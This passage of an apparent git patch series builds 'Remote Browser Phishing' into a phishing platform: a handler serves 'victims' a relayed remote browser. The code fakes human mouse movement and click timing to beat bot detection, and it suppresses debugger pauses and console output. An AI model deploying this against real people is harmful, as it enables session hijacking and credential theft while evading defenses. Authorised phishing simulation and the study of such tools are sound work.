"valueUndefined" +) + +// AccessibilityAXValueSourceType Enum of possible property sources. +type AccessibilityAXValueSourceType string + +const ( + // AccessibilityAXValueSourceTypeAttribute enum const. + AccessibilityAXValueSourceTypeAttribute AccessibilityAXValueSourceType = "attribute" + + // AccessibilityAXValueSourceTypeImplicit enum const. + AccessibilityAXValueSourceTypeImplicit AccessibilityAXValueSourceType = "implicit" + + // AccessibilityAXValueSourceTypeStyle enum const. + AccessibilityAXValueSourceTypeStyle AccessibilityAXValueSourceType = "style" + + // AccessibilityAXValueSourceTypeContents enum const. + AccessibilityAXValueSourceTypeContents AccessibilityAXValueSourceType = "contents" + + // AccessibilityAXValueSourceTypePlaceholder enum const. + AccessibilityAXValueSourceTypePlaceholder AccessibilityAXValueSourceType = "placeholder" + + // AccessibilityAXValueSourceTypeRelatedElement enum const. + AccessibilityAXValueSourceTypeRelatedElement AccessibilityAXValueSourceType = "relatedElement" +) + +// AccessibilityAXValueNativeSourceType Enum of possible native property sources (as a subtype of a particular AXValueSourceType). +type AccessibilityAXValueNativeSourceType string + +const ( + // AccessibilityAXValueNativeSourceTypeDescription enum const. + AccessibilityAXValueNativeSourceTypeDescription AccessibilityAXValueNativeSourceType = "description" + + // AccessibilityAXValueNativeSourceTypeFigcaption enum const. + AccessibilityAXValueNativeSourceTypeFigcaption AccessibilityAXValueNativeSourceType = "figcaption" + + // AccessibilityAXValueNativeSourceTypeLabel enum const. + AccessibilityAXValueNativeSourceTypeLabel AccessibilityAXValueNativeSourceType = "label" + + // AccessibilityAXValueNativeSourceTypeLabelfor enum const. + AccessibilityAXValueNativeSourceTypeLabelfor AccessibilityAXValueNativeSourceType = "labelfor" + + // AccessibilityAXValueNativeSourceTypeLabelwrapped enum const. + AccessibilityAXValueNativeSourceTypeLabelwrapped AccessibilityAXValueNativeSourceType = "labelwrapped" + + // AccessibilityAXValueNativeSourceTypeLegend enum const. + AccessibilityAXValueNativeSourceTypeLegend AccessibilityAXValueNativeSourceType = "legend" + + // AccessibilityAXValueNativeSourceTypeRubyannotation enum const. + AccessibilityAXValueNativeSourceTypeRubyannotation AccessibilityAXValueNativeSourceType = "rubyannotation" + + // AccessibilityAXValueNativeSourceTypeTablecaption enum const. + AccessibilityAXValueNativeSourceTypeTablecaption AccessibilityAXValueNativeSourceType = "tablecaption" + + // AccessibilityAXValueNativeSourceTypeTitle enum const. + AccessibilityAXValueNativeSourceTypeTitle AccessibilityAXValueNativeSourceType = "title" + + // AccessibilityAXValueNativeSourceTypeOther enum const. + AccessibilityAXValueNativeSourceTypeOther AccessibilityAXValueNativeSourceType = "other" +) + +// AccessibilityAXValueSource A single source for a computed AX property. +type AccessibilityAXValueSource struct { + // Type What type of source this is. + Type AccessibilityAXValueSourceType `json:"type"` + + // Value (optional) The value of this property source. + Value *AccessibilityAXValue `json:"value,omitempty"` + + // Attribute (optional) The name of the relevant attribute, if any. + Attribute string `json:"attribute,omitempty"` + + // AttributeValue (optional) The value of the relevant attribute, if any. + AttributeValue *AccessibilityAXValue `json:"attributeValue,omitempty"` + + // Superseded (optional) Whether this source is superseded by a higher priority source. + Superseded bool `json:"superseded,omitempty"` + + // NativeSource (optional) The native markup source for this value, e.g. a `
{#each menu as link} @@ -322,7 +322,7 @@ {#each link.items as item, i (i)} {:else} From 9e0156aa8baafd3aa941de78c051964a314cdcdb Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Sun, 24 May 2026 10:50:35 +0200 Subject: [PATCH 19/78] fix wrong constraint local time parsing Signed-off-by: Ronni Skansing --- frontend/src/routes/campaign/+page.svelte | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/frontend/src/routes/campaign/+page.svelte b/frontend/src/routes/campaign/+page.svelte index b6efbe9..940dd82 100644 --- a/frontend/src/routes/campaign/+page.svelte +++ b/frontend/src/routes/campaign/+page.svelte @@ -678,14 +678,19 @@ webhookMap = BiMap.FromArrayOfObjects(webhooks); }; + // Parse a YYYY-MM-DD string as local midnight, not UTC midnight. + // new Date("2026-05-20") is UTC 00:00 which is the *previous* day in negative-offset timezones. + // Adding T00:00:00 (no offset) forces the spec to treat it as local time instead. + const parseLocalDate = (dateStr) => new Date(dateStr + 'T00:00:00'); + const setScheduledAt = () => { if ( formValues.scheduledStartAt && formValues.scheduledEndAt && formValues.constraintWeekDays.length > 0 ) { - const startDateTime = new Date(formValues.scheduledStartAt); - const endDateTime = new Date(formValues.scheduledEndAt); + const startDateTime = parseLocalDate(formValues.scheduledStartAt); + const endDateTime = parseLocalDate(formValues.scheduledEndAt); const startWeekday = startDateTime.getDay(); const firstWeekDay = formValues.constraintWeekDays.find((d) => d >= startWeekday) ?? @@ -1325,8 +1330,8 @@ const weekDaysAvailableBetween = (start, end) => { if (!start || !end) return []; - const startDate = new Date(start); - const endDate = new Date(end); + const startDate = parseLocalDate(start); + const endDate = parseLocalDate(end); const daysInRange = new Set(); for (let date = new Date(startDate); date <= endDate; date.setDate(date.getDate() + 1)) { From 1c30639a2b1ee66fb1d514751f0259fa90b0799c Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Sun, 24 May 2026 12:59:23 +0200 Subject: [PATCH 20/78] update release notes Signed-off-by: Ronni Skansing --- RELEASE.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/RELEASE.md b/RELEASE.md index f3682de..6d39f3f 100644 --- a/RELEASE.md +++ b/RELEASE.md @@ -1,4 +1,11 @@ # Changelog + +## [1.36.0] - 2026-05-24 +- Added experimental support for Remote Browser Phishing +- Fixed incorrect constraint parsing for local time +- Fixed a vulnerability where TOTP codes were briefly replayable +- Fixed state tracking for SSO login + ## [1.35.0] - 2026-04-23 - Added support for custom certificates in proxy configuration - Added support for URL rewrite in visual proxy editor From 50a440c74469aee9534e9d566353eab7af9431e3 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 25 May 2026 10:05:58 +0200 Subject: [PATCH 21/78] patch movements and console.log/debugger Signed-off-by: Ronni Skansing --- backend/controller/remoteBrowser.go | 22 ++++- backend/remotebrowser/browser.go | 93 ++++++++++++++++++- backend/remotebrowser/runner.go | 30 +++--- .../remote-browser/RemoteBrowserEditor.svelte | 12 +++ 4 files changed, 139 insertions(+), 18 deletions(-) diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go index e9c2132..c30112b 100644 --- a/backend/controller/remoteBrowser.go +++ b/backend/controller/remoteBrowser.go @@ -9,6 +9,7 @@ import ( "image" "image/draw" "image/jpeg" + "math/rand" "net/http" "net/url" "sync" @@ -574,6 +575,11 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { // Read loop: forward victim events into the runner; route stream_input with coord offset. go func() { + // Per-stream last mousemove dispatch time used to cap stream_input mousemove + // events at 60 Hz. Clicks and other actions are always forwarded immediately. + streamMouseMoveLast := map[string]time.Time{} + const streamMouseMoveMinInterval = 16 * time.Millisecond + for { _, msg, err := conn.ReadMessage() if err != nil { @@ -614,6 +620,16 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { continue } if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" { + // Rate-limit mousemove to 60 Hz - the captcha screencast frame rate + // is typically well below this, so extra events never make it into + // a frame and only add unnecessary CDP round-trips. + if cmd.Action == "mousemove" { + now := time.Now() + if now.Sub(streamMouseMoveLast[cmd.Name]) < streamMouseMoveMinInterval { + continue + } + streamMouseMoveLast[cmd.Name] = now + } if val, exists := activeNamedStreams.Load(cmd.Name); exists { si := val.(*streamInfo) // cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords. @@ -1278,9 +1294,13 @@ func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { mods := int(cmd.Modifiers) switch cmd.Type { case "mousemove": + // Add ±0.5 px uniform noise so canvas-quantized coordinates have + // subpixel variation, matching natural pointer imprecision. + jx := cmd.X + (rand.Float64()*2-1)*0.5 + jy := cmd.Y + (rand.Float64()*2-1)*0.5 proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMouseMoved, - X: cmd.X, Y: cmd.Y, Modifiers: mods, + X: jx, Y: jy, Modifiers: mods, }.Call(page) //nolint:errcheck case "mousedown": proto.InputDispatchMouseEvent{ diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go index b6dce62..e64b4ad 100644 --- a/backend/remotebrowser/browser.go +++ b/backend/remotebrowser/browser.go @@ -4,6 +4,8 @@ import ( "context" "errors" "fmt" + "math" + "math/rand" "regexp" "strings" "sync" @@ -658,11 +660,100 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, return goja.Undefined() }) + // mouseX/Y tracks the last position dispatched by humanMoveTo so that + // consecutive moveMouse and clickXY calls produce a continuous path. + var mouseX, mouseY float64 + + // humanMoveTo moves the CDP cursor from the last tracked position to + // (targetX, targetY) along a cubic Bezier curve with ease-in-out timing + // and optional micro-jitter, mimicking natural hand movement. + // durationMs <= 0 picks a random value in [200, 400]. + // jitterPx < 0 uses the default amplitude of 1.5 px. + humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) { + if durationMs <= 0 { + durationMs = 200 + rand.Float64()*200 + } + if jitterPx < 0 { + jitterPx = 1.5 + } + startX, startY := mouseX, mouseY + dx, dy := targetX-startX, targetY-startY + dist := math.Sqrt(dx*dx + dy*dy) + if dist < 2 { + page.Mouse.MoveTo(proto.Point{X: targetX, Y: targetY}) //nolint:errcheck + mouseX, mouseY = targetX, targetY + return + } + // Perpendicular unit vector for Bezier deviation. + perpX, perpY := -dy/dist, dx/dist + // Random offsets capped at 15% of distance for a subtle natural arc. + maxDev := dist * 0.15 + c1x := startX + dx*0.33 + perpX*(rand.Float64()*2-1)*maxDev + c1y := startY + dy*0.33 + perpY*(rand.Float64()*2-1)*maxDev + c2x := startX + dx*0.67 + perpX*(rand.Float64()*2-1)*maxDev + c2y := startY + dy*0.67 + perpY*(rand.Float64()*2-1)*maxDev + + steps := int(durationMs / 10) + if steps < 5 { + steps = 5 + } + if steps > 60 { + steps = 60 + } + stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps)) + + for i := 1; i <= steps; i++ { + select { + case <-page.GetContext().Done(): + mouseX, mouseY = targetX, targetY + return + default: + } + t := float64(i) / float64(steps) + te := t * t * (3 - 2*t) // cubic ease-in-out + u := 1 - te + bx := u*u*u*startX + 3*u*u*te*c1x + 3*u*te*te*c2x + te*te*te*targetX + by := u*u*u*startY + 3*u*u*te*c1y + 3*u*te*te*c2y + te*te*te*targetY + // Apply jitter only on intermediate steps to keep the landing exact. + if jitterPx > 0 && i < steps { + bx += (rand.Float64()*2 - 1) * jitterPx + by += (rand.Float64()*2 - 1) * jitterPx + } + page.Mouse.MoveTo(proto.Point{X: bx, Y: by}) //nolint:errcheck + if i < steps { + time.Sleep(stepDur) + } + } + page.Mouse.MoveTo(proto.Point{X: targetX, Y: targetY}) //nolint:errcheck + mouseX, mouseY = targetX, targetY + } + + pc.Set("moveMouse", func(call goja.FunctionCall) goja.Value { + targetX := call.Argument(0).ToFloat() + targetY := call.Argument(1).ToFloat() + durationMs := -1.0 + jitterPx := -1.0 + if len(call.Arguments) > 2 { + if obj := call.Argument(2).ToObject(vm); obj != nil { + if v := obj.Get("duration"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + durationMs = v.ToFloat() + } + if v := obj.Get("jitter"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + jitterPx = v.ToFloat() + } + } + } + dbg(fmt.Sprintf("→ moveMouse %.0f,%.0f", targetX, targetY)) + humanMoveTo(targetX, targetY, durationMs, jitterPx) + dbg(fmt.Sprintf("✓ moveMouse %.0f,%.0f", targetX, targetY)) + return goja.Undefined() + }) + pc.Set("clickXY", func(call goja.FunctionCall) goja.Value { x := call.Argument(0).ToFloat() y := call.Argument(1).ToFloat() dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y)) - must(page.Mouse.MoveTo(proto.Point{X: x, Y: y})) + humanMoveTo(x, y, -1, -1) must(page.Mouse.Click(proto.InputMouseButtonLeft, 1)) dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y)) return goja.Undefined() diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go index b863ba3..cf2804a 100644 --- a/backend/remotebrowser/runner.go +++ b/backend/remotebrowser/runner.go @@ -659,16 +659,15 @@ func (r *Runner) Run(ctx context.Context) error { browser.Close() //nolint:errcheck return goja.Undefined() } - /* - // ignore "debugger;" code lines explicitly - err = proto.DebuggerSetSkipAllPauses{Skip: true}.Call(page) - if err != nil { - emitter.errorf(fmt.Sprintf("skip debug failed: %v", err)) - browser.Close() //nolint:errcheck - return goja.Undefined() - } - // patch console Log - _, err = page.EvalOnNewDocument(`() => { + // ignore "debugger;" code lines explicitly + err = proto.DebuggerSetSkipAllPauses{Skip: true}.Call(page) + if err != nil { + emitter.errorf(fmt.Sprintf("skip debug failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + // patch console Log + _, err = page.EvalOnNewDocument(`() => { const noop = () => {}; console.log = noop; @@ -678,12 +677,11 @@ func (r *Runner) Run(ctx context.Context) error { console.info = noop; console.warn = noop; }`) - if err != nil { - emitter.errorf(fmt.Sprintf("console patch failed: %v", err)) - browser.Close() //nolint:errcheck - return goja.Undefined() - } - */ + if err != nil { + emitter.errorf(fmt.Sprintf("console patch failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } } // Apply user-agent override. When headless and no explicit UA is set we use diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte index ee0f1ce..bc06999 100644 --- a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -381,7 +381,18 @@ interface Session { // ── Mouse ───────────────────────────────────────────────────────────────── click(selector: string): void; doubleClick(selector: string): void; + /** + * Move to absolute coordinates along a curved Bezier path with micro-jitter + * before clicking. Prefer this over bare clickXY when bot detection is a concern. + */ clickXY(x: number, y: number): void; + /** + * Smoothly move the mouse to absolute page coordinates without clicking. + * Uses a cubic Bezier curve with ease-in-out timing and micro-jitter. + * @param opts.duration Movement duration in ms. Default: random 200-400 ms. + * @param opts.jitter Jitter amplitude in px (0 = none). Default: 1.5 px. + */ + moveMouse(x: number, y: number, opts?: { duration?: number; jitter?: number }): void; scrollIntoView(selector: string): void; // ── Keyboard ────────────────────────────────────────────────────────────── @@ -530,6 +541,7 @@ interface FrameSession { click(selector: string): void; doubleClick(selector: string): void; clickXY(x: number, y: number): void; + moveMouse(x: number, y: number, opts?: { duration?: number; jitter?: number }): void; scrollIntoView(selector: string): void; // ── Keyboard ────────────────────────────────────────────────────────────── From e1e1d28bba202f78df02ae3b0bbb1f5a7c0d55b3 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 25 May 2026 10:21:32 +0200 Subject: [PATCH 22/78] improve Signed-off-by: Ronni Skansing --- backend/controller/remoteBrowser.go | 58 +++++++++++++++++++++------ backend/remotebrowser/browser.go | 61 ++++++++++++++++++++++++++--- 2 files changed, 101 insertions(+), 18 deletions(-) diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go index c30112b..8a82c8c 100644 --- a/backend/controller/remoteBrowser.go +++ b/backend/controller/remoteBrowser.go @@ -9,6 +9,7 @@ import ( "image" "image/draw" "image/jpeg" + "math" "math/rand" "net/http" "net/url" @@ -1292,30 +1293,63 @@ func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { btn = proto.InputMouseButtonRight } mods := int(cmd.Modifiers) + // Shared Buttons bitmask values for pointer events. + zeroButtons := 0 + oneButton := 1 + nowTs := func() proto.TimeSinceEpoch { + return proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9) + } switch cmd.Type { case "mousemove": - // Add ±0.5 px uniform noise so canvas-quantized coordinates have - // subpixel variation, matching natural pointer imprecision. - jx := cmd.X + (rand.Float64()*2-1)*0.5 - jy := cmd.Y + (rand.Float64()*2-1)*0.5 + // Add ±1 px integer noise then round: keeps movementX == clientX-prevClientX + // consistent (subpixel CDP coordinates create a float/int mismatch detectors + // check), while still adding the ±1 px variation that breaks exact-integer paths. + jx := math.Round(cmd.X + (rand.Float64()*2-1)*0.5) + jy := math.Round(cmd.Y + (rand.Float64()*2-1)*0.5) proto.InputDispatchMouseEvent{ - Type: proto.InputDispatchMouseEventTypeMouseMoved, - X: jx, Y: jy, Modifiers: mods, + Type: proto.InputDispatchMouseEventTypeMouseMoved, + X: jx, + Y: jy, + Modifiers: mods, + Timestamp: nowTs(), + Button: proto.InputMouseButtonNone, + Buttons: &zeroButtons, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "mousedown": proto.InputDispatchMouseEvent{ - Type: proto.InputDispatchMouseEventTypeMousePressed, - X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: cmd.X, + Y: cmd.Y, + Modifiers: mods, + Timestamp: nowTs(), + Button: btn, + Buttons: &oneButton, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "mouseup": proto.InputDispatchMouseEvent{ - Type: proto.InputDispatchMouseEventTypeMouseReleased, - X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: cmd.X, + Y: cmd.Y, + Modifiers: mods, + Timestamp: nowTs(), + Button: btn, + Buttons: &zeroButtons, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "scroll": proto.InputDispatchMouseEvent{ - Type: proto.InputDispatchMouseEventTypeMouseWheel, - X: cmd.X, Y: cmd.Y, DeltaX: cmd.DeltaX, DeltaY: cmd.DeltaY, Modifiers: mods, + Type: proto.InputDispatchMouseEventTypeMouseWheel, + X: cmd.X, + Y: cmd.Y, + DeltaX: cmd.DeltaX, + DeltaY: cmd.DeltaY, + Modifiers: mods, + Timestamp: nowTs(), + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "keydown": proto.InputDispatchKeyEvent{ diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go index e64b4ad..4418327 100644 --- a/backend/remotebrowser/browser.go +++ b/backend/remotebrowser/browser.go @@ -664,6 +664,27 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, // consecutive moveMouse and clickXY calls produce a continuous path. var mouseX, mouseY float64 + // cdpMouseMove dispatches a MouseMoved event with all required fields set. + // Using proto.InputDispatchMouseEvent directly (instead of page.Mouse.MoveTo) + // lets us set Timestamp, PointerType, and Buttons - fields that rod omits + // and that detectors use to distinguish CDP-injected events from hardware input. + zeroButtons := 0 + cdpMouseMove := func(x, y float64) { + // Round to integers: Chrome stores cursor position as float internally and + // computes movementX/Y from the float delta, but event.clientX/Y are integers. + // Subpixel coordinates create a movementX != clientX-prevClientX mismatch + // that detectors use as a CDP fingerprint. + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseMoved, + X: math.Round(x), + Y: math.Round(y), + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonNone, + Buttons: &zeroButtons, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + } + // humanMoveTo moves the CDP cursor from the last tracked position to // (targetX, targetY) along a cubic Bezier curve with ease-in-out timing // and optional micro-jitter, mimicking natural hand movement. @@ -680,7 +701,7 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, dx, dy := targetX-startX, targetY-startY dist := math.Sqrt(dx*dx + dy*dy) if dist < 2 { - page.Mouse.MoveTo(proto.Point{X: targetX, Y: targetY}) //nolint:errcheck + cdpMouseMove(targetX, targetY) mouseX, mouseY = targetX, targetY return } @@ -719,12 +740,12 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, bx += (rand.Float64()*2 - 1) * jitterPx by += (rand.Float64()*2 - 1) * jitterPx } - page.Mouse.MoveTo(proto.Point{X: bx, Y: by}) //nolint:errcheck + cdpMouseMove(bx, by) if i < steps { time.Sleep(stepDur) } } - page.Mouse.MoveTo(proto.Point{X: targetX, Y: targetY}) //nolint:errcheck + cdpMouseMove(targetX, targetY) mouseX, mouseY = targetX, targetY } @@ -750,11 +771,39 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, }) pc.Set("clickXY", func(call goja.FunctionCall) goja.Value { - x := call.Argument(0).ToFloat() - y := call.Argument(1).ToFloat() + x := math.Round(call.Argument(0).ToFloat()) + y := math.Round(call.Argument(1).ToFloat()) dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y)) humanMoveTo(x, y, -1, -1) - must(page.Mouse.Click(proto.InputMouseButtonLeft, 1)) + // Dispatch mousedown and mouseup directly so we can set Timestamp, + // PointerType, and Buttons - and add a realistic hold duration. + // page.Mouse.Click omits these fields and has 0 ms hold time. + oneButton := 1 + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: x, + Y: y, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonLeft, + Buttons: &oneButton, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + // Human click hold: 80-150 ms between press and release. + time.Sleep(time.Duration(80+rand.Intn(70)) * time.Millisecond) + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: x, + Y: y, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonLeft, + Buttons: &zeroButtons, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + // Sync rod's internal position tracker so any subsequent rod operations + // (e.g. el.Click) see the correct cursor location. + page.Mouse.MoveTo(proto.Point{X: x, Y: y}) //nolint:errcheck dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y)) return goja.Undefined() }) From 4a90888550ded4fe8dd016ed6e67c5c386890bee Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 25 May 2026 10:45:39 +0200 Subject: [PATCH 23/78] fix click outside element Signed-off-by: Ronni Skansing --- backend/remotebrowser/browser.go | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go index 4418327..46e0424 100644 --- a/backend/remotebrowser/browser.go +++ b/backend/remotebrowser/browser.go @@ -2,7 +2,6 @@ package remotebrowser import ( "context" - "errors" "fmt" "math" "math/rand" @@ -622,13 +621,8 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, el, err := page.Element(sel) must(err) if err = el.Click(proto.InputMouseButtonLeft, 1); err != nil { - var npe *rod.NoPointerEventsError - if errors.As(err, &npe) { - _, evalErr := el.Eval(`() => this.click()`) - must(evalErr) - } else { - must(err) - } + _, evalErr := el.Eval(`() => this.click()`) + must(evalErr) } } else { must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.click()", sel))) @@ -645,13 +639,8 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, el, err := page.Element(sel) must(err) if err = el.Click(proto.InputMouseButtonLeft, 2); err != nil { - var npe *rod.NoPointerEventsError - if errors.As(err, &npe) { - _, evalErr := el.Eval(`() => { this.click(); this.click(); }`) - must(evalErr) - } else { - must(err) - } + _, evalErr := el.Eval(`() => { this.click(); this.click(); }`) + must(evalErr) } } else { must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el){el.click();el.click()}", sel))) From b940603e6451d4efb54ee3cdb4a38bff1a91103e Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 25 May 2026 11:29:19 +0200 Subject: [PATCH 24/78] add right click / copy / paste Signed-off-by: Ronni Skansing --- backend/controller/remoteBrowser.go | 93 ++++++++++++-- backend/remotebrowser/browser.go | 84 +++++++++++++ .../remote-browser/RemoteBrowserEditor.svelte | 12 ++ .../remote-browser/RemoteBrowserStream.svelte | 117 +++++++++++++++--- 4 files changed, 284 insertions(+), 22 deletions(-) diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go index 8a82c8c..b70b466 100644 --- a/backend/controller/remoteBrowser.go +++ b/backend/controller/remoteBrowser.go @@ -1170,8 +1170,12 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { return } var header struct { - Type string `json:"type"` - TargetID string `json:"targetID"` + Type string `json:"type"` + TargetID string `json:"targetID"` + X1 float64 `json:"x1"` + Y1 float64 `json:"y1"` + X2 float64 `json:"x2"` + Y2 float64 `json:"y2"` } if json.Unmarshal(msg, &header) != nil { continue @@ -1196,6 +1200,64 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { // removes the entry and switches to a fallback tab if needed. proto.TargetCloseTarget{TargetID: proto.TargetTargetID(header.TargetID)}.Call(entry.page.Browser()) //nolint:errcheck } + case "select_range": + if controlMode { + x1, y1, x2, y2 := header.X1, header.Y1, header.X2, header.Y2 + go func() { + p := getActivePage() + if p == nil { + return + } + // Use caretRangeFromPoint to locate the exact text + // positions at the drag start and end, then build a + // Range and hand it to the Selection API. This is + // far more reliable than synthesised mousemove events + // for triggering Chrome's text selection engine. + js := fmt.Sprintf(`(function(){ + var r1=document.caretRangeFromPoint(%f,%f); + var r2=document.caretRangeFromPoint(%f,%f); + if(!r1||!r2)return; + var range=document.createRange(); + try{ + if(r1.compareBoundaryPoints(Range.START_TO_START,r2)<=0){ + range.setStart(r1.startContainer,r1.startOffset); + range.setEnd(r2.startContainer,r2.startOffset); + }else{ + range.setStart(r2.startContainer,r2.startOffset); + range.setEnd(r1.startContainer,r1.startOffset); + } + var sel=window.getSelection(); + sel.removeAllRanges(); + sel.addRange(range); + }catch(e){} + })()`, x1, y1, x2, y2) + p.Eval("() => " + js) //nolint:errcheck + }() + } + case "get_selection": + if controlMode { + go func() { + p := getActivePage() + if p == nil { + return + } + res, err := p.Eval(`() => window.getSelection().toString()`) + if err != nil || res == nil { + return + } + payload, marshalErr := json.Marshal(map[string]string{ + "type": "selection_text", + "text": res.Value.Str(), + }) + if marshalErr != nil { + return + } + select { + case notifyCh <- payload: + default: + } + }() + } default: if controlMode { m.dispatchInput(getActivePage(), msg) @@ -1275,6 +1337,7 @@ func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { X float64 `json:"x"` Y float64 `json:"y"` Button string `json:"button"` + Buttons int64 `json:"buttons"` // bitmask of held buttons (left=1, right=2, middle=4) DeltaX float64 `json:"deltaX"` DeltaY float64 `json:"deltaY"` Key string `json:"key"` @@ -1293,9 +1356,7 @@ func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { btn = proto.InputMouseButtonRight } mods := int(cmd.Modifiers) - // Shared Buttons bitmask values for pointer events. zeroButtons := 0 - oneButton := 1 nowTs := func() proto.TimeSinceEpoch { return proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9) } @@ -1306,17 +1367,35 @@ func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { // check), while still adding the ±1 px variation that breaks exact-integer paths. jx := math.Round(cmd.X + (rand.Float64()*2-1)*0.5) jy := math.Round(cmd.Y + (rand.Float64()*2-1)*0.5) + // Forward the browser's e.buttons bitmask so CDP sees held buttons during a drag. + // When the frontend does not send buttons (older messages), cmd.Buttons == 0 which + // is the correct "no button held" value for a plain mousemove. + heldButtons := int(cmd.Buttons) + // During a drag the CDP `button` field must name the held button so + // Chrome's text-selection engine recognises it as a drag-select, not a + // plain hover. Bit 1 = left, bit 2 = right. + moveButton := proto.InputMouseButtonNone + if heldButtons&1 != 0 { + moveButton = proto.InputMouseButtonLeft + } else if heldButtons&2 != 0 { + moveButton = proto.InputMouseButtonRight + } proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMouseMoved, X: jx, Y: jy, Modifiers: mods, Timestamp: nowTs(), - Button: proto.InputMouseButtonNone, - Buttons: &zeroButtons, + Button: moveButton, + Buttons: &heldButtons, PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "mousedown": + // Buttons bitmask must match the button being pressed: left=1, right=2. + downButtons := 1 + if cmd.Button == "right" { + downButtons = 2 + } proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMousePressed, X: cmd.X, @@ -1324,7 +1403,7 @@ func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { Modifiers: mods, Timestamp: nowTs(), Button: btn, - Buttons: &oneButton, + Buttons: &downButtons, ClickCount: 1, PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go index 46e0424..a6c9854 100644 --- a/backend/remotebrowser/browser.go +++ b/backend/remotebrowser/browser.go @@ -649,6 +649,90 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, return goja.Undefined() }) + pc.Set("rightClick", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ 